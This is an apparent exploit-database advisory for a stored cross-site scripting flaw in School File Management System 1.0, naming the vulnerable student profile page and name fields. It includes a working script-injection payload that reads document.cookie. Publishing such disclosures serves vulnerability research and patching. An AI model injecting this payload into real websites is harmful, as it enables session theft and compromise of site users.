School file management system 1.0 multiple stored crosssite scripting Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-02-12 | Type : webapps | Platform : php
This exploit / vulnerability School file management system 1.0 multiple stored crosssite scripting is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: School File Management System 1.0 - 'multiple' Stored Cross-Site Scripting
# Date: 2021-02-11
# Exploit Author: Pintu Solanki
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14155/school-file-management-system.html
# Software: : School File Management System 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


# Vulnerable Page: http://localhost/School%20File%20Management%20System/student_profile.php
# Vulnerable functionality: 'Update Account'
# Vulnerable Input Field : {Firtstname} {Lastname}
# Payload used:

"><script>alert(document.cookie)</script>

# POC: Whenever we will go to the page (http://localhost/School%20File%20Management%20System/student_profile.php) where the script is injected, the stored script will be executed.
# You will see your Javascript code (XSS) executed.